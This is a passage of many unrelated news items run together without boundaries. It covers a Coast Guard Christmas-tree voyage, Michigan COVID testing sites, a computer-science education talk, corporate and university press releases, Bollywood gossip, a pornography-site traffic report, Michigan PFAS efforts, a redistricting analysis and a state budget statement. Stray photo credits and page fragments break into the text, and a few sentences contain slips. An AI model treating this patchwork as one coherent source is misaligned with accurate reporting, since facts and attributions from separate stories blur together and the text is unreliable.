can go down as well as up. Past performance is not a guide to future performance and prospective investors may not receive any return from the Company. Before purchasing any securities of the Company, persons viewing this Announcement should ensure that they fully understand and accept the risks set out in the Prospectus. Information in this Announcement or any of the documents relating to the Company or the Offer cannot be relied upon as a guide to future performance. Potential investors should consult a professional adviser as to the suitability of the Offer for them. The information in this Announcement is for background purposes only and does not purport to be full or complete. No reliance may be placed for any purpose on the information contained in this Announcement or its accuracy or completeness. This Announcement does not constitute or form part of any offer or invitation to sell or issue, or any solicitation of any offer to purchase or subscribe for any securities of the Company or any other securities nor shall it (or any part of it) or the fact of its distribution, form the basis of, or be relied on in connection with, any contract therefor. CHICAGO, Ill. -- When the opportunity was presented to U.S. Coast Guard Auxiliary member and Manistee native Matt Thompson to take part in the annual Christmas Tree Ship event, he jumped at it. Every year the U.S. Coast Guard reenacts the final voyage of the schooner Rouse Simmons that was captained by Herman Schuenemann and disappeared in a gale storm in November 1912 while taking a load of Christmas trees from northern Michigan to Chicago. What happened to the vessel was not discovered until 1971 when divers looking for another shipwreck came upon it off Two Rivers, Wisconsin. Years ago, the U.S. Coast Guard Cutter Mackinaw began making a symbolic journey from Chebogan, Michigan every year in November to deliver a load of Christmas trees to Chicago's disadvantaged in memory of Shuenemann and the crew of the Rouse Simmons. Thompson, who resides in Rockford, is a 2006 graduate of Manistee High School and the son of Manistee residents Alan and Teresa Thompson. He started working with the Grand Valley Flotilla of the Coast Guard Auxiliary in 2019, which assists the Coast Guard stations in Muskegon and Grand Haven. For many years prior to joining the auxiliary, Thompson always had an interest in the Coast Guard even though he works as firefighter/paramedic. Joining the auxiliary gave him an avenue to help out with the Coast Guard. I was living in an area that had a flotilla and it was easy to join and help out, said Thompson. Early last year he saw a posting through the auxiliary that caught his attention and eventually led to working on the Christmas Tree Ship project. "I was helping out with the public affairs branch during the Grand Haven Coast Guard Festival and got involved in it through my local flotilla, said Thompson. We had a member who was heading up public affairs and was looking for someone to take photographs. Having taken some classes in graphic design at Ferris State University, Thompson was intrigued by the opportunity and volunteered for the assignment. "It sounded liked it could be a fun event, and I went out and took a bunch of pictures that were very well received on the local and national level with the Coast Guard," he said. "When it came time for the Christmas Tree Ship they were looking for more volunteers to help out with that in unloading Christmas trees, giving ship tours and taking pictures." Thompson said the Coast Guard put out a blanket message for this assistance, but when he reached out his name was recognized from the photos he took at the Grand Haven Coast Guard Festival. "The guy who was coordinating it all recognized my name from the Coast Guard Festival and he was very interested in having me help out, said Thompson. It was an opportunity too good for Thompson to pass up. He signed on to assist in the public affairs aspect of taking photographs at the ceremonies that take place every year in Chicago. The Mackinaw crew loaded up the 1,200 trees that were cut in Michigans Upper Peninsula on Nov. 23 in Cheboygan before they started to Chicagos Navy Pier, but they did several things along the way, said Thompson. I drove down to Chicago and met them there one day after they arrived. On the first day the crew was on liberty, but on Dec. 3 the ceremonies began with a welcome from the Chicago Christmas Tree Ship Association, and Chicago Fire and Police Departments. They had a mini boat parade and representatives from the group who puts it all together board the ship (Mackinaw) and will meet with the captain, the district admiral and other dignitaries, said Thompson. After they are done a volunteer group comes on board and starts decorating the ship with Christmas decorations. Thompson said his role at that portion of the ceremony was taking pictures of what transpired in the arrival ceremony, the boat parade and the salute from the police fire boat. He also photographed the welcoming committee boarding the ship. After that my involvement from the first day was done as everything after that was meetings and VIP receptions, he said. On the second day they started unloading trees at 8 a.m. and then had a main program with singing by someone from the Coast Guard Academy and one of the local high schools. They also had a song by performer Lee Murdoch and a ceremony to bless the Christmas trees. Speeches were also given by the commander of the Mackinaw, the local delegation and Rear Admiral Michael Johnston from the Ninth Coast Guard District. There also was a fly over done by the Chicago Police Department helicopter. After that program they did public tours for the rest of the day and I helped out with all the other auxiliary members, said Thompson. Other than helping with the tours, my job was pretty much in taking pictures, as I took over 400 of them and just tried to be in the right place at the right time. The trees were then distributed via the Ada S. McKinley Community Services to families in need in Chicago who may not be in a position to go out and buy one. Thompson then downloaded the pictures he had taken of the event and forwarded the best 87 photos to the Coast Guard Public Affairs Division. Where they went from there is they are made available to the Coast Guard and Auxiliary, the Chicago Fire and Police, and the Ada S. McKinley Community Services, said Thompson. They use them with press releases, print media, magazines, websites and other locations. I know the Coast Guards Ninth Western Auxiliary is using one of my photos as the cover of their Facebook page of the ship all lit up with Christmas lights. Thompson said he enjoyed the assignment. I would absolutely do it again, he said. The most enjoyable part was just being able to work alongside the other auxiliary members and Coast Guard personnel, he said. For me the whole thing was just a lot of fun and I enjoyed doing it. And most importantly to Thompson and the many others who participated in the event was continuing the Christmas Tree Ship tradition of bringing some cheer to residents of Chicago with the gift of a Christmas tree for the upcoming holiday season. MANISTEE -- District Health Department #10 is hosting a COVID-19 testing clinic, in partnership with Spectrum Health Ludington Hospital and the City of Ludington, at the Harbor View Marina. The clinic will operate on Tuesdays, Fridays and Sundays, from 9 a.m. to 5 p.m. COVID-19 testing is provided by Honu Management Group and is free to the public. It is necessary for individuals to register with Honu prior to receiving COVID-19 testing, and they can pre-register before arriving to any testing clinic. Additionally, there is an ongoing COVID-19 testing clinic at Kirtland College in Grayling, hosted by Kirtland College and Michigan Department of Health and Human Services. This clinic also utilizes Honu for testing. Appointments are required for testing and clinics are on Tuesdays and Wednesdays from 10 a.m. to 5 p.m., and on Thursdays from 10 a.m. to 6 p.m. The full list of clinics to date is as follows: Crawford County hosted by Kirtland College and MDHHS at 4800 W. 4 Mile, Grayling (COVID Testing Trailer in Kirtland College parking lot) from 10 a.m. to 5 p.m. on Tuesdays and Wednesdays and 10 a.m. to 6 p.m. on Thursdays. To schedule call 866-809-8282 or 844-778-2455 or visit solvhealth.com/michigan-department-of-health-and-human-services-grayling-mi-plVqZ0 Kalkaska County in conjunction with Kalkaska Memorial Health Center at 515 S. Birch St. in Kalkaska from 11 a.m. to 5 p.m. on Tuesdays and Thursdays and from 9 a.m. to noon on Sundays. Honu Pre-Registration: honumg.info/KalkaskaMH Mason County in conjunction with Spectrum Health Ludington Hospital and City of Ludington at 400 S. Rath Ave. in Ludington from 9 a.m. to 5 p.m. on Tuesdays, Fridays and Sundays. Honu Pre-Registration: honumg.info/HVMarina Mecosta County 14485 Northland Drive in Big Rapids from 10 a.m. to 5 p.m. on Mondays, Wednesdays and Fridays. Honu Pre-Registration: honumg.info/BigRapids Newaygo County in conjunction with NC RESA 4747 W. 48th St. in Fremont from 1-6 p.m. on Mondays, Wednesdays and Fridays. Honu Pre-Registration: honumg.info/NCRESA Wexford County in conjunction with Northern Lakes Community Mental Health 521 Cobb St. in Cadillac from 10 a.m. to 4:30 p.m. on Mondays, Wednesdays and Fridays. Honu Pre-Registration: honumg.info/Wexford All COVID-19 testing clinics are first come, first served, except for the clinic at Kirtland College in Grayling where an appointment is required. Testing is free and no ID or insurance is required but accepted. Do not line up early prior to clinic times. Those getting tested should stay in their vehicles and someone will come out for paperwork and testing. All clinics end promptly at the time stated or when capacity is reached (capacity is reached when the number of cars in line meets the clinics ability to perform testing during clinic hours). Clinics offer rapid antigen (results typically available within 30-60 minutes) and PCR testing (results typically available within 72 hours). Anyone who tests positive for COVID-19, will receive a text message from DHD#10 asking them to complete a survey so case investigation and contact tracing can begin. For questions on test results, call Honu at 866-809-8282. For all other COVID-19 questions or concerns, call 231-305-8675 or email covid@dhd10.org. An emerging trend within computer science education is the massive growth in course enrollment fueled by non-major students who realize the value of applying computational and data processing skills across fields. Computing is becoming a universal literacy, said Kathryn Cunningham, Computing Innovation Fellow and postdoctoral scholar in computer science at Northwestern Engineering. Just like some type of mathematics is crucial for most students to know, no matter their future outcomes, computing is becoming more and more critical for most students. Cunningham studies inequities and barriers in computing education and designs programming approaches to support students at the undergraduate level that have increasingly diverse goals, backgrounds, computing interests and experience, and academic confidence. On December 8, 2021, Cunningham presented the virtual lecture Diversifying Pathways to Computer Science Education as part of the computer science seminar series. Cunningham presented examples of computing education innovations she developed to support undergraduate student success and to inspire a broader set of learners to study code, including female non-majors and low-income community college transfer students. Cunningham conducts research that incorporates concepts from program comprehension, cognitive science, and educational psychology with the Delta Lab, an interdisciplinary research lab and design studio at Northwestern focused on social and crowd computing, human-computer interaction, learning sciences, civics, and innovation. She is also a member of the Center for Human-Computer Interaction + Design (HCI+D), a collaboration between the McCormick School of Engineering and the School of Communication. Katie is asking really important questions about how we can support the wide variety of students who are taking computer science classes. Her innovations have changed how I think about pathways for new students by demonstrating the value of starting with code's purpose before digging into low-level implementation details, which is a big shift from how most introductory courses are designed right now, said Eleanor O'Rourke, June and Donald Brewer Junior Professor in Computer Science and the Learning Sciences in Northwestern Engineering and the School of Education and Social Policy. ORourke is Cunninghams mentor and postdoctoral adviser. ORourke co-directs the Delta Lab with Matt Easterday, Liz Gerber, and Haoqi Zhang and is a founding faculty member of Northwestern's joint PhD program in Computer Science and Learning Sciences (CS+LS). Purpose-first programming Cunningham first discussed a goal-oriented or purpose-first interactive system she built to support conversational programmers, or people who need high-level, application-focused information about computing programs but arent necessarily interested in writing or editing code, such as product managers, designers, entrepreneurs, or technology journalists. She developed a novel proof of concept curriculum system to address the challenge of balancing user need for complex knowledge about authentic tasks in programming and software systems within a short time frame. By using domain-specific, pattern-based code examples annotated with instructions that highlight the purpose of the code, learners were able to write, tailor, and debug code, and explain the program activity after just 30 minutes of instruction. The approach is designed for learners who care more about what code can achieve for them than how a programming language works, Cunningham said. And its motivating because students have a sense of success and alignment with their particular learning goals. Rejecting code tracing Next, Cunningham presented work related to understanding why students reject the practice of code tracing or simulating the execution of code either manually or through program visualization tools and considering whether code tracing is an appropriate task for student groups that value the creation of code more than understanding how code works. Because tracing activities are both cognitively challenging and often involve contextless problems without a defined purpose, Cunningham applied an expectancy-value model to better understand students motivation to use or reject code tracing and the thought processes behind their choices. Students had a pretty well-developed way of connecting beliefs about themselves to their decision not to trace code, Cunningham said. They connected their self-beliefs to not only why it was they didnt feel like they would be successful, but also the reason they assigned low value to the task. Cohort pathways Finally, Cunningham discussed the opportunities of broadening participation in computing by addressing current barriers to underrepresented transfer students from community colleges. As the computer science education coordinator for the CSin3 program a partnership between the Matsui Foundation, Hartnell College and California State University Monterey Bay Cunningham and her team built a support structure for students to earn a bachelors degree in computer science in three years. We were focusing on students, learning what they need, and building a better pathway, Cunningham said. The program solved common transfer student obstacles through features such as a pre-defined course schedule, batch registration, designated study space on campus, tutoring, and enrichment activities designed for career preparation. The average graduation rate was 71 percent for the first two CSin3 cohorts and 82 percent of the first cohort secured jobs within two months of graduation. Future Work Cunningham plans to build on her work with alternative education pathways by designing platforms and learning environments and scaling best practices to support communities of non-traditional students. My vision is to diversify and scale pathways to computing education, she said. Cunningham received her PhD in information from the University of Michigan, her MSc in computer science (human-centered computing) from Georgia Tech, and her BS in computer science and molecular and cellular biology from the University of Arizona. Herna Verhagen and Sanjay Poonen proposed as new members of Philips Supervisory Board Paul Stoffels and Marc Harrison proposed for re-appointment as members of the Supervisory Board Neelam Dhawan to retire from the Supervisory Board after third consecutive term For further information, please contact: Ben Zwirs, Philips Global Press Office, Tel.: +31 6 1521 3446, E-mail: ben.zwirs@philips.com Derya Guzel, Philips Investor Relations, Tel.: +31 20 59 77055, E-mail: derya.guzel@philips.com About Royal Philips Royal Philips (NYSE: PHG, AEX: PHIA) is a leading health technology company focused on improving people's health and well-being, and enabling better outcomes across the health continuum from healthy living and prevention, to diagnosis, treatment and home care. Philips leverages advanced technology and deep clinical and consumer insights to deliver integrated solutions. Headquartered in the Netherlands, the company is a leader in diagnostic imaging, image-guided therapy, patient monitoring and health informatics, as well as in consumer health and home care. Philips generated 2020 sales of EUR 17.3 billion and employs approximately 78,000 employees with sales and services in more than 100 countries. News about Philips can be found at www.philips.com/newscenter. Forward-looking statements This release contains certain forward-looking statements with respect to the financial condition, results of operations and business of Philips and certain of the plans and objectives of Philips with respect to these items. Examples of forward-looking statements include statements made about the strategy, estimates of sales growth, future EBITA, future developments in Philips organic business and the completion of acquisitions and divestments. By their nature, these statements involve risk and uncertainty because they relate to future events and circumstances and there are many factors that could cause actual results and developments to differ materially from those expressed or implied by these statements. Attachments Advertisement Through this world-first initiative, Dr. Li plans to demonstrate that by developing systemic solutions to tackle under nutrition, governments and policy-makers can also prevent obesity and non-communicable diseases (NCDs) such as cancer, diabetes and stroke.This approach is known as double-duty, and involves identifying interventions, programmes and policies that can simultaneously reduce the burden of both undernutrition (including wasting, stunting and micronutrient deficiency or insufficiency) and overweight, obesity or diet-related NCDs.The study will be piloted in the Chinese city of Fang Cheng Gang, which has been designated an international medical innovation city by President Xi Jinping and is the permanent host of the China-ASEAN Nutrition forum."It is a privilege to have the opportunity to work with China Guangxi and Fang Chang Gang local authorities; world-leading academics and other partners, to demonstrate the power of a systems approach to improving population nutrition. Our world-first research will build empirical evidence for and practical understanding of this new approach, so policy-makers and researchers in Asia and other parts of the world can better address the double burden of malnutrition," said Dr. Bai Li.Local decision makers will own the process of intervention development and form local 'delivery Action Groups' to maximize feasibility, impact and sustainability. The aim is to close the gap between intervention development and delivery, allow a more coordinated use of existing resources and introduce a new way of working. Researchers will report practical lessons learnt in Fang Cheng Gang to policy makers of 11 SEA countries with a vision to scale up the work in this region.The world's leading experts on nutrition, obesity and food policy will celebrate the launch of the pioneering initiative on Wednesday 15 December, hosted by the University of Bristol. Speakers include Dr. Gauden Galea, WHO Representative in China; Dr. Pinhu Liao, Director General of China Guangxi Health Commission; Mr. Wei Xu, deputy mayor of Fang Cheng Gang City; Dr. Mei Lin, Director of Guangxi Center for Disease Prevention and Control and Professor Yunfeng Zou, Dean of School of Public Health, Guangxi Medical University.Professor Phil Taylor, Pro Vice-Chancellor for Research and Enterprise at the University of Bristol, said: "This is a fantastic opportunity for the University of Bristol to work with colleagues in China and alongside the world's leading experts on malnutrition, on what is a truly ground-breaking project. Undernutrition and obesity together represent the biggest global cause of disease and mortality. We often talk about pioneering research but this study has the potential to have a significant impact on the double-burden of malnutrition, and improve the health and living conditions of billions of people."Dr. Mei Lin, Director of Guangxi Center for Disease Prevention and Control, main collaborating organization, said: "Multi forms of malnutrition exist in Guangxi. We hope to improve these seemingly different malnutrition issues through the implementation of this project and the application of the world's most cutting-edge systems concepts and technologies in public health. Meanwhile, we hope to take this opportunity to further deepen the cooperation mechanism with the WHO and the University of Bristol in the field of public health, vigorously improve the capacity of public health services, and improve the health of people living in Guangxi."Professor Yunfeng Zou, Dean of School of Public Health at Guangxi Medical University, said: "For the School of Public Health of Guangxi Medical University, this is a great opportunity to learn from, exchange and cooperate with leading, international experts in nutrition and public health. The implementation of this project is very conducive to improving our scientific research capabilities, expanding our international horizons, improving the nutrition and health intervention mechanism in Guangxi, and contributing to the health of Guangxi people and the sustainable development of the society."Source: Eurekalert After a long wait, Vicky Kaushal and Katrina Kaif finally made their relationship official by exchanging wedding vows on December 9 in Rajasthan. The much-in-love couple got hitched in the presence of their families and friends. After sealing the deal, Vicky and Katrina posted a few stunning pictures from their traditional wedding ceremony on Instagram and shared the special news with fans. After tying the knot, Vicky and Katrina went to an undisclosed location to spend some quality time together. On Tuesday (14 December), they finally returned to Mumbai where they'll be hosting a grand reception for their industry friends and colleagues. Well, the venue, date and other details related to their wedding reception are out now. Reportedly, the newlyweds are planning to host a reception in Mumbai next week despite the Omicron threat. During the event, all the protocols and rules set by BMC will be followed. Talking about the reception, a source told BollywoodLife, "They have decided to host the reception mostly in JW Marriott on December 20. Katrina and Vicky want to get back to work but before that, they want to finish all their wedding festivities and so they have decided on this date. Also, Christmas is largely celebrated by Katrina Kaif and the couple has planned to celebrate it together this time and so they want to keep the reception before Christmas". The newly-married couple will reportedly invite almost everyone from the film industry. Revealing a few names from the guestlist, the source further added that Vicky and Katrina have already sent invitations to Amitabh Bachchan, Salman Khan, Shah Rukh Khan, Ranbir Kapoor, Aamir Khan among other celebrities to block their dates for the reception. Every guest will have to undergo an RT PCR test and get a negative report to be a part of the reception as Mumbai is currently under Omicron threat. Vicky and Katrina, who were reportedly dating each other since 2019, are in the news continuously due to the buzz around their wedding. Recently, there were reports that the lovebirds have sold the streaming rights of their grand wedding to a streaming giant for a huge amount of Rs 80 crore. Source: Bollywood Life Salman Khan is one of the biggest superstars in Bollywood and therefore has earned the respect of so many people in the industry. Often referred to as the Bhai of the industry, Salman is one who is known to take nonsense from anyone, be it the biggest stars in the industry. However, there was a time when even Salman Bhai got shocked out of his wits. What happened was that back in 2009, Salman was out at a party in New Delhi with brother Sohail Khan, actress Sushmita Sen, Shibani Kashyap, Vijender Singh, and other celebrities that included Raima and Rimi Sen. The party was being held at a five-star hotel in the national capital following a fashion show. Twitter According to a Bangalore Mirror report, it was then when Monica, a rich builder's daughter from New Delhi, barged into the private party before slapping Salman. As per the report, it was not only Salman who she ended up harassing but she also abused Sushmita, Sohail, and others as well. As per the report, A sloshed Monika accompanied by a male friend first tried to forcefully enter the party venue. She was too loud and completely out of control. Sohail Khan asked the security guards not to let Monika in. Meanwhile, Salman heard the commotion and walked to where Monika was making a fuss. She was misbehaving and started abusing Sushmita Sen. When Salman very politely asked the girl to leave, she suddenly slapped the actor. However, it was then revealed that despite the crazy incident, Salman somehow kept his cool, and instead of reacting adversely to the incident, asked the security guards to escort the girl out. This goes on to somehow change the narrative that not all the times when a ruckus happens, the actor or celebrity should be blamed. As per our comprehension of the incident, Salman clearly acted like a mature individual despite the stupid actions of the girl. Twitter Salman has been at the center of a lot of controversies in the past, and this incident surely should be included as one where he was the bigger man and chose to walk away from it graciously. Sonu Sood loves his watches. Apart from helping out those in need, the man also loves to splurge his hard-earned money on some really exquisite watches. As a result, horologists or people who love watches, keep a keen eye on Sonu Sood, and the timepieces he invests in. Viral Bhayani Sonu Sood was recently spotted at the Mumbai Airport, wearing one of his classic timepieces, that watch lovers from all around the world, are desperately trying to their hands on. Surprisingly, however, it was his sneakers that caught everyones attention. Viral Bhayani But before all of that, lets take a look at Sonu Soods outfit. Sonu was seen wearing a very basic and functional outfit. A pair of cargo denim, and a pair of ribbed jumpers, is a classic combination, and one that people cant really go wrong with. This is what we love about Sonu Soods personal sense of style - he knows what works for him, and sticks to it. As a result, you will rarely see him put a wrong foot forward when it comes to style. Viral Bhayani The watch that Sonu was wearing, which drew everyones attention is the Hublot Big Bang Original Steel Ceramic. The watch uses a sapphire crystal instead of glass, to cover the face, so you can imagine just how expensive it actually is. This is a classic piece from Sonus personal collection. Viral Bhayani It used to retail for Rs 12 Lakhs in India, but over the years, the official price has dropped down to Rs 9.75 Lakhs. Still, good luck finding a piece from retail stores, if you were thinking of buying one. Hublot As dope as the watch is, it doesnt hold a candle to the sneakers that Sonu was seen wearing. So quirky and zany are these Japanese designed sneakers, that people often call them, the Samurai Sneakers. Viral Bhayani The pair that we see Sonu wearing are the Y-3 Kusari 2 in White, Black and Red, from Adidas. The Y-3 Kusaris come from a limited collaboration that the German sportswear brand had with Yohji Yamamoto, one of Japanese Fashions most respected designers. Think of him as the Virgil Abloh of Japan - thats how influential he is. Viral Bhayani The sneakers used to retail for $400 or roughly Rs 31,000 when they were new. Back in 2018, these were some of the most expensive sneakers that Adidas used to sell to the public, in retail. Now, they arent even available on the market. As a result, the only place to cop a pair like these is the resellers market. Adidas All in all, we certainly approve of Sonus choices here. There is a saying that implies, your reputation precedes you and if that were to be used in case of Indians, at the risk of sounding harsh and embarrassed, Id say that one apt umbrella to put Indians under would be...horny. Technically, that would be true for most men and (surprisingly) women as well, but as far as Indians are concerned, we are known to be a pretty sexually driven breed, considering were from the land of the Kamasutra and all. However, things might have changed now, all thanks to the ban on porn sites by the government. Twitter In a recent annual report that was released by one of the most infamous porn websites - PornHub revealed the names of top 20 nations from where the most traffic on the website comes. And much to our surprise, India didnt make it to the top 20. In fact topping the charts was the USA and following in its footsteps was the UK which had even surpassed Japan in its ranking this year. Meanwhile, India was nowhere to be seen in the top 20 and we wonder whether that is a good sign or a bad one. Twitter Our speculation is that ever since porn was banned in the country in 2018, Indians contribution towards porn websites has significantly dropped. Even back in 2019, India came on the 15th position and now apparently, it has dropped further down. Twitter However, one aspect where it still hasnt shown a decline, is in demand. Apparently, Indian still remains as one of the most top searched categories on the website, especially in the UK which seems to have been spending an awful lot of time lurking on these websites. On an average, people in the UK spent almost 9 minutes 52 secs on the site per visit, and 'lesbian' was the most searched for term, ahead of 'MILF' in second and hentai in third. EGLE Director: Michigan solidifies its reputation as a leader in response to PFAS EGLE Director: Michigan solidifies its reputation as a leader in response to PFAS The Virtual PFAS Summit, with over 1,300 participants representing 38 states and eight countries in, has solidified Michigan's reputation as a leader in its response to per- and polyfluoroalkyl substances - PFAS. PFAS are a group of man-made chemicals used in making things like firefighting foam, stain repellants, and non-stick cookware. PFAS can't break down easily in the environment and some build-up in our bodies. MI Environment today includes an excerpt from EGLE Director Liesl Clark's comments to the Summit's opening session. "It is no surprise to me that Michigan has led the nation in responding to PFAS because when something impacts our water it strikes a nerve in our state and inspires action that crosses ideological, geographic, political and other divides. "That is evident every day in the State of Michigan's response to PFAS contamination. "If you look at a national map of PFAS hot spots, Michigan stands out. This does not mean we are more contaminated than our neighbors or the rest of the nation. It is a function of Michigan proactively and comprehensively looking for contamination with an eye toward protecting public health. "We have found PFAS in every part of our state-at military installations, landfills, industrial sites, airports, and many other locations. We are currently investigating many of the thousands more potential sites. "Last year at this time, Michigan had 148 documented sites where groundwater contamination exceeded our cleanup criteria for PFAS. Michigan has identified 193 "MPART" (Michigan PFAS Action Response Team) sites. Michigan also has 13 Areas of Interest which are areas where we don't have a monitoring well over groundwater cleanup criteria but where there is a lot of interest - usually involving residential well sampling. "The numbers tell the story of Michigan's massive response to PFAS. The MPART team recently put together the numbers that summarize Michigan's PFAS response activities for our 2021 fiscal year. "In that 12-month period alone, MPART led our state in: Collecting 723 water samples from lakes and streams-and 878 fish-for PFAS analysis. That is 155 more surface water samples than 2020 and 364 more fish than 2020. Monitoring PFAS levels in our 2,700 public water supplies under the Safe Drinking Water Act. Sampling 440 residential wells and resampling 1,682 residential wells previously investigated for PFAS. Providing 157 filter systems and 490 replacement cartridges to Michigan households. Awarding grants and loans totaling more than $18 million for infrastructure projects specifically designed to address PFAS. Recruiting 1,300 residents to participate in the Michigan PFAS Exposure and Assessment Study (MiPEHS) and 7 fire departments to participate in the PFAS in Firefighters in Michigan (PFOMs) project. Taking 165 biosolids samples from 157 wastewater treatment plants, and sampling the influent, effluent and sludge at 44 wastewater treatment plants. Sampling 28 permitted dischargers and conducting inspections at 28 industrial sources to pinpoint the source of PFAS. Implementing PFAS testing at 19 airports. Maintaining one of the most robust PFAS web sites in the country and adding layers of data for public use. "As we move into 2022, Michigan will continue to look for new sites, conduct precautionary sampling of residential wells around likely MPART sites, and launch innovative programs. "We will continue to ramp up our recent focus on airports and firefighting. We will continue to survey Michigan airports and investigate those that have used AFFF (Aqueous Film Forming Foam), including sampling any residential wells that are nearby. We will also conduct investigations at fire training centers and finalize a firefighter training video intended to help reduce the use of class B AFFF. "As we head into the new year, we also look forward to the support of the federal government on several fronts, including: Implementing the actions identified in the EPA PFAS Road Map. This strategy will help move the needle forward across the country. Providing millions of dollars for infrastructure projects so we can provide safe drinking water to the residents of Michigan. Despite the significant investments we have made recently in the state, we still have millions of dollars of unmet asks for grant funds to connect private wells at risk for PFAS to municipal water systems. "We also are hopeful the federal government can hasten the pace in addressing PFAS at military sites. "When we collaborate across geographic and political jurisdictions-and across professions, experiences, and fields of expertise -we develop the science behind PFAS more quickly, share the best practices in investigating and addressing public health risks more widely, and put the most creative and innovative solutions into action more comprehensively." Caption: EGLE Director Liesl Clark addresses 2021 Virtual PFAS Summit. Like this content? Follow us on Twitter, Facebook, LinkedIn, and on YouTube. Take a short survey and let us know what you think about MI Environment. Michigan Department of Civil Rights: MICRC Maps Violate the Voting Rights Act, Must be Redrawn Michigan Department of Civil Rights: MICRC Maps Violate the Voting Rights Act, Must be Redrawn Vicki Levengood levengoodv@michigan.gov Civil Rights December 15, 2021 LANSING, MI-Dr. Jerome Reide, Legislative Liaison for the Michigan Department of Civil Rights, has released Department analysis showing the five proposed electoral maps offered by the Michigan Independent Citizens Redistricting Commission (MICRC) violate the federal Voting Rights Act. Dr. Reide's analysis was filed with MICRC on December 9, 2021, in advance of the end of the public comment period and the Commission's final vote on the maps, which is expected on December 30, 2021. "The maps under consideration do not measure up to the requirements of the law, and do not meet the test of fairness and equity that should be the goal of this Commission," said Reide. "The Commission still has time to produce maps that will not dilute the minority vote or violate the Voting Rights Act." According to Dr. Reide's analysis, none of the five Congressional District maps proposed on Nov. 5, 2021, includes a majority Black district. Currently Michigan has two majority-minority Congressional districts - the 13th and 14th. The Voting Rights Act requires that the Commission draw majority-minority districts to prevent vote dilution in Saginaw, Southfield, Flint, Pontiac, Taylor, Inkster, Redford, Hamtramck and Detroit. Each of these communities of interest could be denied the opportunity to elect a candidate of their choice if the present percentages of majority-minority districts are diluted. The U.S. Supreme Court determined three threshold measures in Thornburg v. Gingles (1986) to evaluate whether an electoral map violates the rights of minority groups set forth in the Voting Rights Act: A minority group must demonstrate it is large enough and compact enough to constitute a majority in an electoral district. A minority group must demonstrate it is politically united. A minority group must demonstrate the majority group historically votes sufficiently as a group to defeat the minority group's preferred candidate. The Voting Rights Act is designed to allow for coalitions of Black, Asian, Hispanic, Native American and other minority residents, as well as those who identify with two or more racial groups, to coalesce and elect candidates of their choice. The latest MICRC maps remove that opportunity and will prevent many of Michigan's minority voters from any reasonable chance of electing their preferred candidates. Former U.S. Supreme Court Justice Brennan said in Gingles, 478 U.S. at 36-37, that there are several additional "objective factors" in determining the "totality of circumstances" surrounding an alleged violation of Section 2 of the Voting Rights Act. Some objective factors include the extent to which the members of the minority group bear the effects of discrimination in areas like education, employment and health, which hinder effective participation. In Michigan, the effects of discrimination that help demonstrate he "totality of circumstances" that surround the potential violation of the Voting Rights Act in the MICRC's proposed November 5, 2021, maps include: Until the 1954 election of Charles Diggs in the old 15th Congressional District (13th today) followed by the election of John Conyers 10 years later in 1964 in the old 1st Congressional District (14th today), Detroit's majority-minority community could not elect a Congressional candidate of their choice. The quality of education in Michigan depends greatly on where students live. Residency is dependent on household income, which in turn is dependent on the opportunities provided to families, which is also dependent on parents' own race and background. The continuing crisis in Flint, Michigan related to its public water supply and delivery system includes allegations that the city's residents are the victims of discrimination based on their race, color, national origin, age, and disability. Residents of Black, Hispanic, and Latino ethnicity, non-English speakers and individuals of lower socioeconomic status are more likely to be admitted to the hospital with COVID-19. Four State Senate Districts that are currently majority Black would be eliminated in five of the six MICRC-proposed maps. Commissioner Kellom's map contains three majority Black State Senate districts. "The Commission has a profound responsibility to draw electoral boundaries that protect the voting rights of all Michigan voters," said MDCR Executive Director John E. Johnson, Jr. "They must reject these flawed maps and offer options that do not erode the ability of minority voters to elect candidates who both look like them and reflect their policy preferences regarding the needs of their communities." Find MDCR's memo to the MICRC on the maps in question here. The Michigan Civil Rights Commission was created by the Michigan Constitution to safeguard constitutional and legal guarantees against discrimination. The Commission is charged with investigating alleged discrimination against any person because of religion, race, color or national origin, genetic information, sex, age, marital status, height, weight, arrest record, and physical and mental disability. The Michigan Department of Civil Rights serves as the operational arm of the Commission. # # # Joint Statement on Passage of Supplemental Legislation Putting Michiganders First Joint Statement on Passage of Supplemental Legislation Putting Michiganders First FOR IMMEDIATE RELEASE December 14, 2021 Contact: Press@michigan.gov Joint Statement on Passage of Supplemental Legislation Putting Michiganders First Governor, Legislature come together to invest federal funds into COVID school testing, nursing homes, and safe drinking water for communities as Michigan continue economic growth LANSING, Mich. - Governor Gretchen Whitmer, Rep. Thomas Albert, Sen. Jim Stamas, and State Budget Director Chris Harkins released the following statement after the Michigan Legislature passed a supplemental bill that invests nearly $1 billion in federal funds from the American Rescue Plan into Michigan's families, communities, and small businesses. "Today, legislative leaders came together to put Michiganders first and make another monumental investment in Michigan's families, communities, and small businesses," said Governor Gretchen Whitmer. "For months, we have been working together with the legislature and we have been negotiating together in good faith, finding a collaborative way to effectively spend the federal dollars sent to Michigan by the American Rescue Plan. Today, we took another big step forward in finding common ground and agreement on how to spend some of those federal resources, including resources to help kids safe and learning in school, protect seniors in nursing homes, and get vaccines out the door even faster. I am grateful to State Budget Director Chris Harkins, Sen. Jim Stamas, and Rep. Thomas Albert for the hard work they put in to deliver critical aid to families, communities, and small businesses as we continue building our economy back stronger than ever. Our progress is a testament to what's possible when we put work together, and this bill will build on progress we made earlier this year to enact the largest education investment in state history and pass a balanced, bipartisan budget that made game-changing investments in skills, bridges, childcare, and so much more. I will analyze the legislation with key members of my administration, and I look forward to signing the supplemental soon." "We are coming together and doing what must be done for our state right now, while also building positive momentum for important initiatives moving forward," said Rep. Thomas Albert, Chair of the House Appropriations Committee. "And we are doing so while being prudent about our finances. We must always be prepared in case economic turbulence arises in the future. I want to thank Sen. Stamas and Budget Director Harkins, and I look forward to continued collaboration." "Not only is this responsible, financial good-housekeeping that sets our state up well for the next year, but as a negotiated supplemental, I hope sets the tone for next year's budget negotiations," said Senator Jim Stamas, Chair of the Senate Appropriations Committee. "In the near term, this supplemental funding includes important line-items to aid in the continued COVID response in our communities and schools and assists in providing mental health to the most vulnerable during this time." "I'd like to extend my sincere appreciation to both Sen. Stamas and Rep. Albert and their staff for working with me and my team in the State Budget Office to get additional federal resources appropriated before the holiday break," said State Budget Director Chris Harkins. "This work is not easy. As I've said before, we have a unique opportunity before us with all of the federal dollars at our disposal and I appreciate the fact that we have taken the time to have in-depth discussions about the best use of these dollars. I am particularly pleased that we were able to get the federal funding into the bill to help schools with COVID testing, as well as additional funding for rental assistance for those in need of that assistance. All of these pieces play a role in Michigan's continued recovery from the pandemic, helping to position the state for future success." Investments Made $1 5 0 million for COVID s chool t e sting to keep kids safe and learning in-person. $140 million for rental assistance to help Michiganders stay in their homes. $36.3 million to help communities tackle lead , fund water d istribution, inspections, blood testing, and more. 